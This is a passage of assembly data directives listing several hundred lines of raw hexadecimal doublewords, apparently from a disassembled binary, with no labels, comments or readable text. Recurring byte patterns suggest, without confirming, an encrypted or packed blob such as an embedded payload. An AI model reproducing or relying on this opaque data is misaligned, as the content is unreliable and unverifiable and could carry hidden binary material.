		dd 5E2D6A4Fh, 2371BCE1h, 3CEABE99h, 2B4C6F4Fh, 0FF0BE1C6h
		dd 124B7D3Eh, 523C459Bh, 0E9959AF5h, 0A0A3AC5Ah, 0E132EF93h
		dd 1A321Eh, 0FC473600h,	60DFAC95h, 0C8771809h, 3E0970A1h
		dd 0A7A4EAD7h, 317A7A4Ch, 0AA97FE4Dh, 70863E0h,	72BFD671h
		dd 2FD6310Ah, 5286D24Ah, 0A76B4112h, 3807777Fh,	9EADD2DFh
		dd 0ED5A204Dh, 0E63A7DB8h, 7FC8B4FDh, 4E420314h, 93DA6687h
		dd 5828C418h, 0DE0364ABh, 43F0BD65h, 77AD1A1Dh,	18E5A2D5h
		dd 0F3208B49h, 18941D21h, 266E341h, 0D12C92CFh,	1686EB4Bh
		dd 411898C2h, 0F5588437h, 0A4h,	3A05775Dh, 1BC164DDh, 810EF5BDh
		dd 99E50A53h, 0D7AB79AAh, 4A473A2Eh, 0A1EEF942h, 220760DBh
		dd 3A253E4Ah, 84D8D347h, 23706361h, 4E3D56C6h, 95FA4918h
		dd 1802F307h, 0F2992641h, 53CE1255h, 342F3158h,	7A128AEFh
		dd 0E74F3C96h, 1866B3D4h, 0AFDFC02Bh, 0AFD3E690h, 5D6EEF93h
		dd 1952C2h, 1C275600h, 80BFCCF5h, 0E8573869h, 5EE99081h
		dd 0C7840A37h, 519A5AACh, 0CAF71E2Dh, 276883C0h, 929FF651h
		dd 0CF3651EAh, 51A6F2AAh, 874B4112h, 0A27A5F9Fh, 473A3B96h
		dd 0C5EC307Bh, 3E638AB9h, 9AF54Eh, 0DD3A0577h, 3B1424F8h
		dd 0B2F9473Ah, 6A125F6Eh, 0ADA6B6D1h, 2E9D2068h, 0EE16BCB3h
		dd 0C92E61A0h, 5380BFCCh, 1F8DCC10h, 49183488h,	4F1D4E6Dh
		dd 4118AC3Fh, 0BCE15A22h, 0EC310A7Fh, 0EB3FB928h, 355C9C45h
		dd 4BD14138h, 8374451h,	0DB49D4h, 5FD10000h, 0C71D2652h
		dd 857ED31Eh, 371006AAh, 59EDA39Ah, 56284A07h, 0D48FC917h
		dd 612D6A8Fh, 2E72B1E2h, 1926712Bh, 20F4918h, 9891CF7Ch
		dd 45A37115h, 947CF2F0h, 657F487h, 0A45FB9E7h, 19623A5Fh
		dd 693A519h, 374552B7h,	409CDF0Ch, 0E72C2725h, 0DC68EA82h
		dd 0C2E9A9C3h, 778740A5h, 0A463C139h, 65B695E5h, 90D90746h
		dd 0F73853ECh, 0EFCCBA85h, 7E14D5F9h, 1841D22Dh, 38450000h
		dd 0D0BBE40Fh, 68171873h, 0FA8FB0DBh, 95F92641h, 896B5FB6h
		dd 0E6013E40h, 1B72D1B9h, 8ED96216h, 2940FB81h,	0B7C3593Eh
		dd 5A411250h, 5776CB4h,	0BDFC4B34h, 28776C68h, 1785EACFh
		dd 473A3BC3h, 0CB273D36h, 71767505h, 7358E23Eh,	0FC49184Dh
		dd 1BF50597h, 95184118h, 0B0DBD24Fh, 8106D31Ah,	801C0574h
		dd 473A3B78h, 8EDF1E9Dh, 2C27316Fh, 3B1F2BC1h, 0BBF2473Ah
		dd 493A1F78h, 3FE0F9E2h, 8BDF8132h, 6E473A81h, 8167B369h
		dd 238A473Ah, 0CF5DBCE0h, 491892B4h, 0E2B05259h, 0CC009C18h
		dd 51B6FDF6h, 53FDC0DBh, 0DD0EADC4h, 0E71C4BFh,	0B499FE31h
		dd 0E9371467h, 72E1BD5Fh, 0F009A4DAh, 42018E8Bh, 9EA9D31Eh
		dd 6F3D6277h, 0DEA9B65Bh, 98A1FFBEh, 76BF4BF4h,	0E3624719h
		dd 175D4FD2h, 1C610000h, 0B4C7C823h, 4C337C97h,	0DEAB94FFh
		dd 79050A65h, 0A547A3CAh, 0CA25226Ch, 7F96B5C5h, 92FD4632h
		dd 0D64DFADh, 0D3E7B5C2h, 46411257h, 5779090h, 0A65B4C3Ah
		dd 0D9EAFBDAh, 171E46h,	0E05B2200h, 54F39889h, 0BC8BF43Dh
		dd 221D6C55h, 8BB8C6CBh, 2D660660h, 868BE261h, 0F33C57F4h
		dd 6E53BA85h, 3CA251Eh,	5792A676h, 0D3874112h, 28525F53h
		dd 0D0BCC51Bh, 77051277h, 177590CCh, 3AF2175Ch,	49183AB5h
		dd 0BBCF5D82h, 5E41183Ah, 0A508015Fh, 0C547E14Ah, 8FBCCF0Eh
		dd 0BBDC1F5Eh, 6FBB7156h, 8241183Ah, 853F52Bh, 0F54F3A29h
		dd 707624C6h, 0C1BEE687h, 2478C7B4h, 95F24132h,	537E3F2Ch
		dd 0B3E1E779h, 0E5F5CE5Eh, 359AE1F4h, 352C5367h, 92F7C6E8h
		dd 352CCE1Ah, 498823E8h, 57D35730h, 0DAB1DA85h,	6E656786h
		dd 0F0F86E9Bh, 5D9C2872h, 0B2DAD73Ch, 8375889h,	0A24498DBh
		dd 0E6135C20h, 101D7A31h, 5FB8D36Ch, 0C61A2952h, 8076D1BBh
		dd 46A57605h, 40C05F68h, 44000016h, 0BAE70E39h,	161B72D1h
		dd 8EB3DA69h, 0F82940FBh, 685EA996h, 3F4F88h, 75D2B8E9h
		dd 0D863151Ah, 43FC80B1h, 0C4582128h, 411256B4h, 0E86DB559h
		dd 473A3BC0h, 3A4B0A5Ah, 5B648847h, 0D6E6473Ah,	0CB473A1Bh
		dd 0BF086C1h, 52FBDA86h, 15EDFE41h, 8CF10000h, 245758B3h
		dd 0BCC3CC27h, 4E3B648Fh, 0E9959AF5h, 3537335Ah, 5AB592FCh
		dd 0CF262555h, 628DB6C2h, 9DF44F3Dh, 43970552h,	0B6411256h
		dd 525F00E0h, 0AFCE1F2Ch, 276C6771h, 0E9909DC2h, 1778025Eh
		dd 0F849183Dh, 9834C5B5h, 3001F5B8h, 159A29h, 64DFAE00h
		dd 0C877040Dh, 300F70A1h, 0A6A1E8D9h, 0F3C424Fh, 0A9E282E4h
		dd 20F66E5h, 7FA0CB78h,	0EAD73E09h, 874E99A2h, 56EE3AF2h
		dd 4F034112h, 3A0577D7h, 81B8C4E9h, 0DF1E4FF8h,	1C5FEC92h
		dd 8CEC15CFh, 0F3D80845h, 2BAD51h, 0E8750000h, 473A3BC4h
		dd 6188B3D9h, 51793318h, 0C4473A3Bh, 0B011ABE9h, 51470FB6h
		dd 0AEC3102Bh, 0F23162E1h, 0DC2370B3h, 1523h, 3A057706h
		dd 4DBF64DDh, 0C9B55B43h, 3A840753h, 80C3EA47h,	18CB095Ch
		dd 5DFEAECBh, 0EA4918A5h, 2F60DBADh, 87B2EE59h,	0BFCDD34h
		dd 0F61F1DFh, 0D7015F10h, 4DB2D71Ch, 0A264B468h, 22894118h
		dd 86672CFEh, 45684F3Ah, 0DD0E6324h, 9F6B4FE0h,	0EE0D5EE9h
		dd 86D24AAFh, 6B4B7ECEh, 8CC91C40h, 23206AA7h, 7ECE2971h
		dd 0B3E1CC4Bh, 0D33A0976h, 0FF0BE1C6h, 124B7ECEh, 0CEDBEFBDh
		dd 7F3E4B7Eh, 3546E03Ch, 2A4B7ECEh, 0ABA2EC61h,	0F02564E3h
		dd 301572B5h, 7ECE2C7Ch, 50CCC14Bh, 4B7ECE08h, 518FCEEDh
		dd 0C37A010Eh, 185B88B7h, 1467B4D9h, 3FEDD237h,	4B7ECEEBh
		dd 61DEA10Eh, 0AA99E12Eh, 0C7E63A79h, 0D35197A0h, 0A2709BA8h
		dd 45AEE6AFh, 2CD0Ah, 0AB581000h, 0F0251E6Ah, 301572B5h
		dd 77AD96E3h, 185326D5h, 32EACF49h, 411822E6h, 3CE90A4Fh
		dd 31F5A7h, 0F3BA77ADh,	41FE8DA2h, 0B4C4D126h, 5F2C558Bh
		dd 0D13E87E0h, 21A9D98Ch, 0E008E405h, 15411891h, 91237AA6h
		dd 4118E14Dh, 0AC88E04Dh, 220760DFh, 18813E4Ah,	0A8D6D341h
		dd 0DB04589Bh, 0A4C50AF9h, 76821A7Fh, 9B411881h, 0BD3ACC10h
		dd 8A4F3AEBh, 0E43FC8Dh, 0A59CC07Bh, 0E6A8C516h, 86F30059h
		dd 174D68BDh, 7D1AEBCCh, 6D50E506h, 5D214894h, 4E0454C8h
		dd 0C2E94B7Eh, 74825283h, 6D4B7E4Eh, 0E35C2C21h, 0E33073B2h
		dd 5D8EBDCEh, 59DB1D1Ah, 85C90833h, 0AAD450A8h,	85177C9Dh
		dd 4B7E4E75h, 4E9CAC40h, 3A714B7Eh, 74D3B805h, 9FC50427h
		dd 63166374h, 34688BD8h, 85E23122h, 5C244017h, 0D506B545h
		dd 2F1C63B0h, 5861BFFEh, 0EC790534h, 5CABE830h,	6FAE0D55h
		dd 55BCFF3Eh, 0C227206Ch, 2478C3B5h, 0AB277301h, 0CA27555Ch
		dd 870676AEh, 0B19FDC1Dh, 274E8191h, 8AB9C5D2h,	0BBC61A59h
		dd 0D2273D0h, 559CC17Eh, 0D7B09CDCh, 870EAD4Ch,	44347D26h
		dd 558BAAFBh, 89E05F2Ch, 8DAAF875h, 0B2DD3Fh, 77450000h
		dd 0F8433607h, 44988ABh, 0F6029AFFh, 1B473A3Bh,	59254C90h
		dd 0FF808DEAh, 0AEC91C40h, 0A1ED47A1h, 0B6AB4BA2h, 0CF51F3D7h
		dd 2EF9A76h, 0FD23BB19h, 7B50h,	577FE00h, 0B8C4E93Ah, 97056A8Fh
		dd 473A3B43h, 8CD907B6h, 84F70465h, 589099C7h, 77D4A7F4h
		dd 90D90726h, 1A3853ECh, 51F3D767h, 4B72h, 0AB58D800h
		dd 0F627246Ah, 32117AB7h, 6683C2E1h, 1851E1B6h,	0EB811649h
		dd 411821DFh, 49367B32h, 0DA6ABBFAh, 4118218Ah,	3566E197h
		dd 7BA897F8h, 62C820D1h, 0A2E503CEh, 4BD1BDAFh,	0DD0Ah
		dd 1B60AD00h, 0CCB2FF2Ch, 4CE03C7Fh, 206AAB58h,	70B3F223h
		dd 0AA99AE17h, 41EA1DF1h, 9C99FE13h, 0EE0350EFh, 306CAF9Ch
		dd 18DFA996h, 46FD4649h, 0E0EE48Dh, 9E1D1448h, 800B084Dh
		dd 6C01B679h, 83C23B94h, 0D867145Dh, 4CFB80B1h,	9AA9D21Fh
		dd 0C7212E49h, 5B2F1E6Dh, 3D7CBFECh, 164D00D2h,	57A44BD0h
		dd 55F82423h, 65h, 66A958FDh, 6CBF6B01h, 1B921173h, 0CD5505FEh
		dd 64112A5Fh, 0B4E834AEh, 55277491h, 0C014B6EAh, 0DDC73A05h
		dd 2B4095B2h, 75B0E55Eh, 0ACF14E3Ch, 0D5599F92h, 68111E7Bh
		dd 7B1723F9h, 0B3FAC73Ah, 0A3C52C70h, 0B6CB3AEh, 732CA991h
		dd 0C8218C91h, 5784C3CBh, 1139F314h, 4473A7Bh, 0F5686BA9h
		dd 0Eh,	7FA559h, 0E7340000h, 4766B794h,	525F4519h, 0A6C3112Ah
		dd 0F4396AD9h, 0E65FB887h, 0BF6DAB09h, 473A086Bh, 90562F8Eh
		dd 0A5AEF249h, 0B384754h, 46DFACD5h, 3AEF82D6h,	0B447747h
		dd 5687C681h, 97F03736h, 0B49F29Ah, 0B8EF22F2h,	7F009173h
		dd 5283C0CEh, 6E83D013h, 9EF22320h, 33111553h, 621F32B6h
		dd 7751F307h, 0BF9h, 5B6F3D62h,	0FA473AE3h, 1F9FE29h, 89241D0Eh
		dd 421FCEECh, 326EFFDCh, 62A55862h, 272A6331h, 0B920BF9Fh
		dd 0A355083Fh, 4A60C848h, 0AE000000h, 206CA558h, 5E83E427h
		dd 613B2A51h, 473A3B59h, 62BEF1BCh, 3A3BB0D8h, 0ADEC6547h
		dd 9BA4D5F4h, 0F5522B4Ah, 0F724673Eh, 0E739AB25h, 0D724B5DFh
		dd 3477A4A3h, 0A0E701E8h, 0A87FC6ADh, 84C3B7C4h, 45C81457h
		dd 25Eh, 27525FCDh, 70ACCF1Ch, 7A206766h, 577FA52h, 0FFDA603Ah
		dd 0CF5DC8B2h, 473A3BBBh, 0C01C5F5Eh, 0CFF79A2Ch, 21E254F3h
		dd 28000000h, 0B862A558h, 3BBACD5Fh, 8E8B473Ah,	231E4201h
		dd 0C75FD288h, 633B0877h, 31A59AB2h, 89000000h,	0B862A558h
		dd 1E2D525Fh, 63DCA0CDh, 0F9DFC20h, 473A3BFCh, 3F7C9D1Eh
		dd 16AEF24Dh, 877C75Fh,	0E65F633Bh, 0B99512E5h,	2A549D28h
		dd 0A77FC71Dh, 14485BE8h, 720714DEh, 3B5984C9h,	58B390FEh
		dd 0F01A2557h, 6882C1CDh, 42CA2ED3h, 2F7B8F1Dh,	216EEC64h
		dd 0EF901D22h, 0A6C31150h, 84896DD6h, 5E274FF8h, 0C6228F53h
		dd 69031E6Eh, 0EC642F41h, 0DA0B3444h, 7519A69Bh, 276685D6h
		dd 810B06E4h, 2FFC0CE0h, 9A11EC64h, 800E335Bh, 642F0152h
		dd 5BD136ECh, 0EC642F0Fh, 0F486CBE2h, 0B9E70657h, 2AC12D80h
		dd 7B012345h, 7EC722C0h, 7CAED6FEh, 0CFEA364Eh,	0BA5380BFh
		dd 85E36E3Ch, 960DFAFh,	0A897E330h, 43F4D74h, 0FDDBA3EEh
		dd 0EC6462AAh, 2A0F6843h, 0FFA19EEDh, 0EC6462ABh, 0DB966F4Eh
		dd 378A0365h, 0FD02429Eh, 0E2B32B9Ch, 0B55E41CDh, 0CE66826Fh
		dd 0ACE185BEh, 0A60F67E0h, 340F7D3Ch, 87C4CAE7h, 0CF290456h
		dd 0CE2A175Bh, 0F14E317Eh, 165381ACh, 0F439DD66h, 6A57BF88h
		dd 0C2CF2724h, 385D8EBDh, 64535464h, 0BDF2B9ECh, 0C2172D1h
		dd 5796C780h, 0FA3048A1h, 0D23ABE43h, 53EB3FEDh, 0A10EEC64h
		dd 0FA396AD9h, 305C65BBh, 532F7B31h, 821AEC64h,	0EC645376h
		dd 8C2F109Bh, 5FF1A94Dh, 3B96A27Ah, 307B473Ah, 8CB7C5ECh
		dd 58FA52D6h, 0DABC66A9h, 5BC6B2FFh, 3A3BB9C1h,	1E515C47h
		dd 0A272AECDh, 0F3CFF79Ah, 56E254h, 2C950000h, 56E9A8A5h
		dd 0BA4A966Dh, 0BC66A958h, 3BBACD5Fh, 5853473Ah, 2C525F82h
		dd 0BB3245A5h, 97D6E032h, 0A2EA2746h, 0EB297499h, 67481E6h
		dd 774B1B39h, 5F9F4704h, 0C81D2652h, 2B6AD5A3h,	76C09F5h
		dd 3A3B4595h, 16315847h, 1299A6C5h, 23A536CEh, 89000000h
		dd 0BC66A958h, 3BBACD5Fh, 555C473Ah, 0DA1D2Ah, 477C75Fh
		dd 27B29F47h, 0E3A9A4EAh, 0A9E80B58h, 0EDE8DB6Bh, 0A0473A4Ah
		dd 0FFFD44BDh, 0C4E861FFh, 0F6473A3Bh, 6859B0F7h, 8ECB1827h
		dd 0B7696935h, 7198907Eh, 0CE0DF525h, 10AAF629h, 473A63C8h
		dd 0F331B73Ah, 5D5ABF8Ch, 0B3DB142Fh, 0F8244794h, 9758297h
		dd 0B0DBE63Ah, 69187893h, 8390F526h, 7A014EF9h,	0EEF597CDh
		dd 8C050C50h, 0F16CA3C5h, 0C40F9D2Bh, 1DAh, 6EDDA2EFh
		dd 12A2FE3Dh, 1429525Fh, 479DDC6Bh, 3A3B92A5h, 60AFA447h
		dd 17CE9507h, 7C3F4918h, 0E4632C15h, 32117AB7h,	80BFCCE1h
		dd 0FD423153h, 779F009Ch, 3D704F3Ah, 966AB24Dh,	0AFB283EFh
		dd 0DAFh, 1671CAB3h, 8AE56229h,	224DFA85h, 58B38CFDh, 0F1182757h
		dd 0D0BEF7F9h, 63171873h, 0F4848DE4h, 8DFF204Bh, 0C7905BB2h
		dd 124E0555h, 0C222E841h, 87157A5Fh, 473A3B73h,	354517A6h
		dd 0D8473A3Bh, 4596B1DBh, 70B9E726h, 0F04B3D0Ch, 1C4180A3h
		dd 5BBC03F0h, 21D568C1h, 65822949h, 0A8D66728h,	1B5AE995h
		dd 168ABCAh, 0B7D06F10h, 0E92D6DCEh, 0FEDFA49Fh, 0FF0E52E1h
		dd 2C71CAB2h, 8BEC3320h, 252269A6h, 0DD6FB5F0h,	4F305286h
		dd 0AFB24477h, 0B2EF9039h, 0D159E61h, 64290000h, 0FC8FB0DBh
		dd 94FB244Fh, 26535CB7h, 0C1CDF21Dh, 5D1F6B82h,	0B2DD6A14h
		dd 274EFD8Dh, 5AB58EFAh, 0F51C2755h, 6BBF6D0Ah,	8E41124Dh
		dd 57758C8h, 0F8EBE93Ah, 39DE4EABh, 1E491850h, 1B5AE991h
		dd 0E4AAE7F0h, 0A9F73667h, 2843FC80h, 0DA3176CFh, 0A5A869E9h
		dd 0A3661D7Fh, 0FBE9934h, 562A582h, 0E5F7C9BCh,	0FD8CB442h
		dd 0BCDD0342h, 3E93AE0h, 0E2BA1F4Fh, 4B7098D6h,	5283C0CBh
		dd 4C8F2E13h, 0A2A1EE2Bh, 0A39464Bh, 5FE894D9h,	0CE15CE0Eh
		dd 9BACF3A9h, 5A514552h, 6DFFBFACh, 0E27D4EE9h,	0C6Fh
		dd 0D6310A73h
		dd 4AA5A2E9h, 0E20D3A45h, 1873CCBDh, 0B1D86717h, 107EB7B9h
		dd 0A3D7D833h, 34444DA4h, 0CDBFE00Bh, 87D01B72h, 124CC515h
		dd 82622841h, 1C27525Fh, 68D3B9C0h, 0E52AD93Bh,	28525F84h
		dd 823C51Bh, 1549184Fh,	39424FA6h, 0D1BEE30Ah, 0F3320D7Ch
		dd 0AB580298h, 89F60364h, 0B97366BAh, 4918160Eh, 3E7B9C1Fh
		dd 84A1FF4Ch, 0FE4D327Fh, 267AC9B1h, 181D7084h,	211E6D41h
		dd 72CDBFFCh, 0C6222F21h, 0F122216Eh, 14DD73B2h, 0B5C0BDD4h
		dd 0AF154BD1h, 3D000000h, 16470477h, 4095B2D9h,	24074203h
		dd 9361E52Fh, 0EF0E5FECh, 404970ACh, 0D0B1D607h, 148186D5h
		dd 17F8A2F8h, 26C439C2h, 8EFD0458h, 8D4656B1h, 0BFFC2146h
		dd 86207CCBh, 49188CF1h, 55F29926h, 0CF6D6412h,	0BF88F5B7h
		dd 0B8AA0h, 54EF9E00h, 0B887F43Dh, 201F6051h, 96B1D8C9h
		dd 0FF4C327Fh, 99D29294h, 0F23F56F5h, 6F50BB88h, 0DAC72E19h
		dd 0F77E89B2h, 4CFE0AE2h, 7F134112h, 0A27A5FA7h, 473A3B96h
		dd 0FB44038Bh, 36456CB0h, 0DBA3F009h, 6B463F6Ch, 0D8BB532Ch
		dd 0AFB0EC2Fh, 5EB0h, 0A8D2DF00h, 8302E29Bh, 0C4E596F2h
		dd 477C498h, 0FDF61647h, 3976D1B8h, 56B3F251h, 1853D5C6h
		dd 7F3BA49h, 0F5B88DC4h, 8390011h, 1C00000Bh, 72BFD671h
		dd 0EED33A09h, 464BA2A1h, 0B0E10833h, 101671CEh, 0C8770750h
		dd 3D0A70A1h, 0A09BEDD2h, 0B345849h, 8C6079E0h,	4112437Ch
		dd 7725FD91h, 0C4E93A05h, 56A8FB8h, 3A3B4397h, 17344647h
		dd 404E832Ah, 0D488DD03h, 0C984CB2Dh, 0EC51F3D7h, 258h
		dd 2D525F3Ah, 0C603C21Eh, 21468D46h, 1828304Bh,	0B9DEDD49h
		dd 0E3310E7Ch, 9034B96Bh, 9FA93E9h, 0D5E5B79Ch,	38BE83E7h
		dd 0E797A375h, 337ABE83h, 0F60597F0h, 27B0A192h, 4E054794h
		dd 0C2257527h, 0E5C8B8E1h, 35D745A2h, 2CB6C717h, 0F6036881h
		dd 4A69BA89h, 0A6A1EB16h, 0D1578041h, 7B0B2FE3h, 87F53A25h
		dd 107FCABCh, 0F1C2F5D9h, 0A426Eh, 0C374600h, 70CFBCE5h
		dd 0D8672819h, 4EF980B1h, 0B794FA27h, 418A6A5Ch, 0BAE70E3Dh
		dd 171873D0h, 828FE661h, 3F2641FAh, 42B6C25Ah, 0B75B4112h
		dd 4704776Fh, 1B2FFD22h, 0FE473A3Bh, 3F4461BFh,	8DE669DAh
		dd 0B61EE09Ch, 3A9CD2E6h, 28744747h, 54C8352Eh,	473A9C04h
		dd 339C2E9h, 3C19219Eh,	0D745A2E5h, 49211127h, 2C9E71D2h
		dd 8EE434E8h, 0A2094113h, 662A6D9h, 2B4C6FDAh, 44AF9CEEh
		dd 0EAAA2F5Bh, 0E37F1A4Ch, 0F7E0A05Dh, 0F5561314h, 706361B2h
		dd 9956C623h, 8E4F3140h, 0BDCDCA2Fh, 503A678Eh,	102D96F3h
		dd 87127E58h, 4E0F6C9Ah, 459DABB5h, 99C40936h, 0CEE33A66h
		dd 3EF585BEh, 9FEF8F7Eh, 979B38Eh, 8D0000h, 98E32C47h
		dd 305F40ABh, 0C2B7F813h, 5D216E79h, 0C1A387EEh, 2E390688h
		dd 43AA99E1h, 0F6112A5Eh, 1178C3C9h, 0CF1B91E6h, 22411242h
		dd 0AD7FB46Ch, 473A3B95h, 5686E26Fh, 48900C71h,	0AD473A3Bh
		dd 0CBB8D20Eh, 0C1F1E93Eh, 4E81B4FDh, 0A39CEC29h, 0E3801C7Dh
		dd 344918A3h, 0FE3B6079h, 696EBF8Ch, 18D167B3h,	0E0238A41h
		dd 3D0A75BCh, 7811C2D2h, 0BAEFF03Bh, 52B7F64Ah,	3CFCB7DAh
		dd 8087404Fh, 41FA8E0Eh, 0DE24D11Ch, 21579816h,	6C4FFA26h
		dd 0A3E9260Bh, 4F3D4498h, 0E8949DF4h, 0C91A2951h, 2C6FD8A4h
		dd 59C1DEDh, 3809EF93h,	8C621h,	88B3DA00h, 0FC4B3061h
		dd 64E3AC95h, 0CA75040Dh, 33107EA3h, 0C50EEED8h, 3E638AB9h
		dd 0AB94FF4Ch, 60B62DDh, 0BBA2CD76h, 413A4EDEh,	3BDF4112h
		dd 3BC4E8EBh, 0B3D9473Ah, 0FB889B32h, 545C19C2h, 0A6D9A2D0h
		dd 0ACC706FFh, 2F48974Ch, 18819A7Dh, 0DF387349h, 729DA6D2h
		dd 5C6C0065h, 0B14118E1h, 0ED9BA6FAh, 5C3E0152h, 0E4000008h
		dd 364AB58h, 91AED1DEh,	29F3214Ch, 4918178Ah, 0F54E3E7Bh
		dd 114285A0h, 181F3343h, 0E15A2E41h, 310A7FBCh,	6DBE89F0h
		dd 8A82E663h, 181FC612h, 41802B41h, 0A0266E3h, 1F237725h
		dd 9E0E4118h, 41181F4Ah, 78330CAFh, 0B77DF024h,	45584BD1h
		dd 0C6000001h, 15460177h, 4095B2D8h, 3A4EDE03h,	0DF473A3Bh
		dd 137980DCh, 0C2B6FB28h, 57216E79h, 0A75DBFECh, 656D3F58h
		dd 0E8473A3Bh, 305B90C5h, 0DFADC213h, 984E3764h, 8EACB0C8h
		dd 0F177FA52h, 0BFFE4933h, 0A88CEC95h, 252269E0h, 1B72B5F0h
		dd 0B4D96216h, 3AA22CF8h, 3DBB2647h, 51B691E7h,	0DB083744h
		dd 3E1B4498h, 0E908D345h, 2AB7D1D1h, 58B26C4Bh,	1D7FA5E4h
		dd 2DFF1867h, 473ADA15h, 6360B5F8h, 0DA5A6E3Eh,	0FCBF473Ah
		dd 52F199A0h, 0C265DE3Bh, 3E10B876h, 433772AEh,	0F29AD704h
		dd 41300449h, 0CE7D0D27h, 354552A7h, 7AA6C516h,	88F24B3Fh
		dd 2E4B6ABBh, 3A732A7Eh, 0ADECCF47h, 0F9361B78h, 0D4E4B48Fh
		dd 39473A73h, 372C2E72h, 861D8FE8h, 0AF49187Ch,	0D43C04D6h
		dd 89D7DE71h, 0CDF21D90h, 3F5D8EBDh, 399FE45h, 411853FBh
		dd 70CBB1FEh, 0F99DBA23h, 88068C85h, 9F1E0B49h,	0DD1BC64Eh
		dd 3851966Fh, 806B4289h, 0B3480646h, 83D14F29h,	0DC371466h
		dd 0F19996FBh, 32E20152h, 411862E6h, 89B691FBh,	0C7B3FE22h
		dd 3A292B78h, 0C31894F5h, 544F3A7Fh, 79010E59h,	5956A3CAh
		dd 0A3CE1231h, 8B036AD5h, 364AB58h, 1723F9DEh, 0FA473A3Bh
		dd 78DB6DB3h, 5549181Ah, 0C3D03566h, 38428FBCh,	0DFACD50Bh
		dd 588D0960h, 400166A9h, 580AD52Eh, 0FF0E52C7h,	3AEB192Dh
		dd 0CC7B0447h, 1D26529Fh, 97D118C8h, 0B434BD93h, 0F30BE09Dh
		dd 3DF551h, 775D0000h, 0D5224704h, 0D4A9BA4h, 3A3B4B9Fh
		dd 0CC0FAE47h, 93A77590h, 91473A3Bh, 21492308h,	0D4473A3Ah
		dd 3ABEBBD9h, 5BB291FAh, 3A17E1C9h, 0D6A47h, 519CC17Eh
		dd 0FF993403h, 5F1EFFFFh, 0EAAB2A52h, 0AAF014D8h, 204997D6h
		dd 702D595Ch, 0DFC03B3Bh, 86167B9Ch, 473AF372h,	34C814A7h
		dd 59216E6Bh, 267AB9EAh, 66A9588Eh, 0FDE65FBCh,	0C6C2FD8Ah
		dd 74458ED2h, 6A4D9D0Fh, 0B7A0473Ah, 8D788C5h, 0EB296842h
		dd 0CFF79A5Bh, 3FE254F3h, 28000000h, 0BC66A958h, 3BBDCD5Fh
		dd 5D50473Ah, 3FE65F81h, 44038B40h, 292899BFh, 773CE6EBh
		dd 61224704h, 0CB8B90EDh, 0FD91CFD7h, 26F1E65Fh, 0A3F04B3Dh
		dd 102AFB80h, 0FA12124Eh, 41A5h, 525F8900h, 89C3112Ah
		dd 5FCF97D8h, 7387157Ah, 0A6473A3Bh, 0EB3FC917h, 0D6473A3Bh
		dd 7196B5D9h, 3A3B6FBBh, 0F52B8247h, 5FAA7033h,	470477C7h
		dd 0A27A5F9Fh, 473A3B96h, 0EC307Bh, 0F7503875h,	87715A9h
		dd 0BBFA4935h, 59206D6Ah, 0C0E8B2EEh, 22473A3Bh, 152E5A57h
		dd 0F27FA5C0h, 72D1BE76h, 0F1453E1Bh, 3943CF44h, 0ECC0C6BFh
		dd 867168F8h, 0B209805Ah, 69F4473Ah, 0FFFFF3AAh, 27525FD5h
		dd 9BDA6912h, 0CCF52B4Ah, 176980BFh, 2F7B315Ch,	0C2473A3Bh
		dd 424FA8EBh, 91DE0F3Ch, 0E00350EBh, 391E73A1h,	6CB08FFCh
		dd 183B7DDAh, 0A5B5249h, 183A2A7Ah, 0FB483741h,	6AF785AAh
		dd 183A66B2h, 0E1208B41h, 53955CBCh, 708871DFh,	0D1D72459h
		dd 10B14Bh, 63240000h, 472B1C49h, 1DD030Ah, 1A5h, 525F8900h
		dd 96C01C27h, 1C63B0DDh, 0EDBFFE2Fh, 473A3BDDh,	0DD3A7D30h
		dd 181F404Fh, 23685549h, 7BB0E524h, 0F2513D10h,	355956B3h
		dd 3087DCACh, 3C7F64D1h, 60BC8BF3h, 711D1A7Fh, 2D6281D2h
		dd 0EDBFE562h, 411856E2h, 3B52ED9Bh, 0A0B982F6h, 0CB182753h
		dd 0B85174A8h
		dd 0EE0AF72Ch, 0EEF94236h, 1BDADBA1h, 4562CB79h, 65A4A3E8h
		dd 14EDC822h, 9881AF5Dh, 3178A49Dh, 619AF04Bh, 0A7F45890h
		dd 0C356BD8h, 7F27C780h, 73CFE79Ah, 0EAF252h, 5F580000h
		dd 3B96A27Ah, 307B473Ah, 8756BD4Bh, 1E42343Eh, 1DB908FCh
		dd 3BBACD5Fh, 7D5C473Ah, 3A3B9BAFh, 0FC3F7E47h,	61F12A9Bh
		dd 9AA2B211h, 7A5FAE46h, 92F43489h, 0F2176625h,	3A55EE3Ah
		dd 74A80347h, 202CB7D8h, 469AA5D3h, 3A0577AEh, 58D36B60h
		dd 0DC0166A9h, 3A3B3840h, 82DEDD47h, 5FF551F2h,	33344BE6h
		dd 0F7E29EB0h, 24B8454Fh, 0B666BA85h, 54F3C0CBh, 390Eh
		dd 0A9581400h, 0CD5FBC66h, 473A3BBDh, 46018B88h, 0D68C2F1Ah
		dd 525FC75Fh, 0A7C21E2Dh, 0B2AF77D4h, 0A27A5F9Ah, 473A3B96h
		dd 17EC307Bh, 3Ah, 9D18142h, 0A0416067h, 0A958A07Ch, 0D81B2468h
		dd 0B6C25ABFh, 5B473A3Bh, 5F700C50h, 3A3BBDCDh,	865C5F47h
		dd 47897A5Fh, 0F515FD4Fh, 7723F321h, 0B29F4704h, 0A7A4EA27h
		dd 0DA5A579h, 89FFFFFFh, 0DD3A0577h, 70CFBBF8h,	8500023h
		dd 0ED473A3Bh, 0A7F3A9CEh, 4A473A3Bh, 0C3E83D63h, 15678EB9h
		dd 24F8115Eh, 491843CFh, 0CBBCDDD0h, 6408A936h,	69155A96h
		dd 0D56786DAh, 41189A81h, 657F09Ch, 76A7A0E9h, 9599DF1Ah
		dd 0ABDDDABFh, 83E54C90h, 0D137114Ch, 3DA44Bh, 58720000h
		dd 0F60364ABh, 87C4B782h, 88D41756h, 41A0D349h,	2E8D4918h
		dd 902F98FDh, 0B12AFA31h, 0BB78A1FAh, 6A76E0C2h, 0ABE95625h
		dd 1844CD11h, 32B63341h, 0D15C621Fh, 0B1774Bh, 77DF0000h
		dd 0C4E93A05h, 3B588DBAh, 63B18AFEh, 0D80D3646h, 395EE993h
		dd 6EB28DFCh, 37DFA365h, 4A32473Ah, 0E3A996F1h,	1AC90B58h
		dd 8FF8B4D5h, 90491838h, 597FC1Dh, 41182FF5h, 52ED9B18h
		dd 0B282CD13h, 301572C1h, 7FAC9BE3h, 646E03Ch, 0B4F3C6Fh
		dd 3162E1AEh, 7156B3F2h, 0C037E090h, 26FB80BFh,	0D31E42E0h
